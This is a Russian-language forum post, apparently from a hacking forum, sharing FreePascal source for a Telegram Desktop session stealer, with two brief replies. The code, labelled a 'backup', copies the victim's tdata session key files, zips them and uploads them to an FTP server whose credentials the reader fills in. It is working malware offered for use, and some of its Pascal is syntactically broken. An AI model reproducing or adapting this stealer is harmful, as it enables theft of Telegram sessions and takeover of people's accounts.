LIMB
Вход Регистрация

тема

Пример реализации функционала стилера ТГ (TDATA) на FreePascal

rand · · 2 ответов · 559 просмотров

Написал: @rand 
Copyright: XSS.is

Всем привет! Хочу показать примерную реализацию стилера TDATA на FreePascal:
Для работы этого кода тебе понадобятся юниты zipper (обычно в составе fcl-zip) и ftpclient (обычно в составе fcl-web). Убедись, что они установлены и доступны твоему компилятору Free Pascal. (Рекомендую IDE Lazarus).

Code:
program BackupTelegramSessionCompact;

{$MODE DELPHI} // Для удобной работы со строками
{$H+}          // Строки по умолчанию AnsiString

uses
  SysUtils,      // FileExists, CopyFile, RenameFile, CreateDir, PathDelim, GetHomeDir
  FileUtil,      // FindAllFiles, DeleteDirectory, ForceDirectories
  DateTimeStr,   // FormatDateTime
  DateUtils,     // Now
  zipper,        // TZipper
  ftpclient;     // TSimpleFTPClient

var
  PathUsr: string;
  BaseTelegramPath: string;
  TdataPath: string;
  ConnHashPath: string;
  MapPath: string;
  ArchiveName: string;
  ZipFilePath: string;
  FinalZipFilePath: string;
  FileName: string; // Для итерации FindAllFiles
  ZipFileObj: TZipper;
  FTPClient: TSimpleFTPClient;

begin
  // --- Конфигурация FTP ---
  // >>> Замени на свои данные FTP! <<<
  const FTPHost = 'Name host';
  const FTPPort = 21;
  const FTPUser = 'Login';
  const FTPPass = 'Password';
  const FTPRemoteDir = '/folder on your ftp server';
  // -------------------------

  Writeln('--- Запуск компактного бэкапа сессии Telegram ---');

  // 1. Получаем пути и имя архива
  PathUsr := GetHomeDir;
  BaseTelegramPath := IncludeTrailingPathDelimiter(PathUsr) + 'AppData' + PathDelim + 'Roaming' + PathDelim + 'Telegram Desktop' + PathDelim;
  TdataPath := BaseTelegramPath + 'tdata' + PathDelim;
  ConnHashPath := TdataPath + 'connection_hash' + PathDelim;
  MapPath := TdataPath + 'map' + PathDelim;
  ArchiveName := FormatDateTime('dd_mm_yy_hh_nn', Now); // hh = 12-часовой формат, nn = минуты
  ZipFilePath := BaseTelegramPath + 'session.zip'; // Временное имя архива
  FinalZipFilePath := BaseTelegramPath + ArchiveName + '.zip'; // Финальное имя архива

  // 2. Создаем временные директории (ForceDirectories создает и родительские, если нужно)
  Writeln('Создание временных директорий...');
  try
    ForceDirectories(ConnHashPath);
    ForceDirectories(MapPath);
  except
    on E: Exception do
      Writeln('Ошибка при создании директорий: ' + E.Message);
      Exit; // Выходим, если не можем создать директории
  end;

  // 3. Копируем нужные файлы в временные директории
  Writeln('Копирование файлов...');
  try
    // Копируем файлы по паттерну D877F783D5D3EF8?* в map
    for FileName in FindAllFiles(TdataPath, 'D877F783D5D3EF8*', False) do // False = не рекурсивно
      if FileExists(FileName) then // FindAllFiles возвращает полные пути, FileExists проверяет
        CopyFile(FileName, MapPath + ExtractFileName(FileName), False); // False = не перезаписывать (если вдруг)

    // Копируем файлы по паттерну ??????????* в connection_hash
    // Этот паттерн ищет файлы с именем длиной >= 10 символов в директории tdata
    for FileName in FindAllFiles(TdataPath, '??????????*', False) do // False = не рекурсивно
       if FileExists(FileName) then
         CopyFile(FileName, ConnHashPath + ExtractFileName(FileName), False);

  except
    on E: Exception do
      Writeln('Ошибка при копировании файлов: ' + E.Message);
      // Продолжаем, но с ошибкой
  end;

  // 4. Создаем ZIP архив
  Writeln('Создание ZIP архива...');
  ZipFileObj := nil; // Инициализируем NIL для проверки в finally
  try
    ZipFileObj := TZipper.Create;
    ZipFileObj.Open(ZipFilePath, zmWrite); // Открываем для записи

    // Добавляем содержимое директории map (сохраняя структуру внутри zip)
    ZipFileObj.AddDirectory(MapPath, 'map', []);
    // Добавляем содержимое директории connection_hash
    ZipFileObj.AddDirectory(ConnHashPath, 'connection_hash', []);

    ZipFileObj.Close;
    Writeln('ZIP архив успешно создан: ' + ZipFilePath);
  except
    on E: Exception do
      Writeln('Ошибка при создании ZIP архива: ' + E.Message);
      // Попытаемся очистить временные файлы и выйти
      DeleteDirectory(ConnHashPath, [cdDeleteChildren, cdForceDirectories]); // cdForceDirectories - удалит даже если не пустая, cdDeleteChildren - рекурсивно
      DeleteDirectory(MapPath, [cdDeleteChildren, cdForceDirectories]);
      if FileExists(ZipFilePath) then DeleteFile(ZipFilePath);
      Exit; // Выходим после критической ошибки
  end
  finally
    // Гарантированное освобождение объекта TZipper
    if Assigned(ZipFileObj) then
      ZipFileObj.Free;
  end;

  // 5. Удаляем временные директории
  Writeln('Удаление временных директорий...');
  try
    DeleteDirectory(ConnHashPath, [cdDeleteChildren, cdForceDirectories]);
    DeleteDirectory(MapPath, [cdDeleteChildren, cdForceDirectories]);
    Writeln('Временные директории удалены.');
  except
    on E: Exception do
      Writeln('Ошибка при удалении временных директорий: ' + E.Message);
      // Продолжаем, но с ошибкой
  end;

  // 6. Переименовываем ZIP архив
  Writeln('Переименование ZIP архива...');
  try
     if FileExists(FinalZipFilePath) then
       DeleteFile(FinalZipFilePath); // Удаляем старый файл, если существует
     RenameFile(ZipFilePath, FinalZipFilePath);
     Writeln('ZIP архив переименован в: ' + FinalZipFilePath);
  except
     on E: Exception do
       Writeln('Ошибка при переименовании ZIP архива: ' + E.Message);
       Exit; // Выходим после критической ошибки
  end;

  // 7. Отправка файла по FTP
  Writeln('Подключение к FTP и отправка файла...');
  FTPClient := nil; // Инициализируем NIL для проверки в finally
  try
    FTPClient := TSimpleFTPClient.Create(nil); // Создаем компонент без владельца

    // Настройка и подключение (отлов ошибок здесь критичен)
    FTPClient.Host := FTPHost;
    FTPClient.Port := FTPPort;
    // FTPClient.Debug := True; // Включить отладку, если нужно
    Writeln('Подключение к ' + FTPHost + ':' + IntToStr(FTPPort) + '...');
    FTPClient.Connect;
    Writeln('Подключено. Логин...');
    FTPClient.Login(FTPUser, FTPPass);
    Writeln('Успешный логин. Переход в директорию: ' + FTPRemoteDir);
    FTPClient.ChangeDir(FTPRemoteDir);
    Writeln('Перешли в директорию.');

    // Опционально: вывести список файлов на сервере (как ftp.dir() в Python)
    // Writeln('Содержимое удаленной директории:');
    // var FileList: TStrings; FileList := TStringList.Create; try FTPClient.List(FileList); Writeln(FileList.Text); finally FileList.Free; end;

    // Отправка файла
    Writeln('Отправка файла: ' + FinalZipFilePath + ' -> ' + ExtractFileName(FinalZipFilePath));
    // TSimpleFTPClient.Put может отправить локальный файл по имени
    FTPClient.Put(FinalZipFilePath, ExtractFileName(FinalZipFilePath));
    Writeln('Файл успешно отправлен.');

    // Отключение
    Writeln('Отключение от FTP...');
    FTPClient.Disconnect;
    Writeln('Отключено.');

  except
    on E: Exception do
      Writeln('Ошибка при работе с FTP: ' + E.Message);
      // Не выходим, так как файл создан локально
  end
  finally
    // Гарантированное освобождение объекта TSimpleFTPClient
    if Assigned(FTPClient) then
      FTPClient.Free;
  end;

  Writeln('--- Процесс бэкапа завершен ---');
  // Для остановки консоли на Windows
  // Writeln('Нажмите Enter для выхода...');
  // Readln;
end.
👍27 🔥4 😮9
Прикольно вы переносите. =) Я её так то в разделе Delphi / Pascal размещал. Что случилось?
👍2
О, великий rand посетил этот форум. Велком!)
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.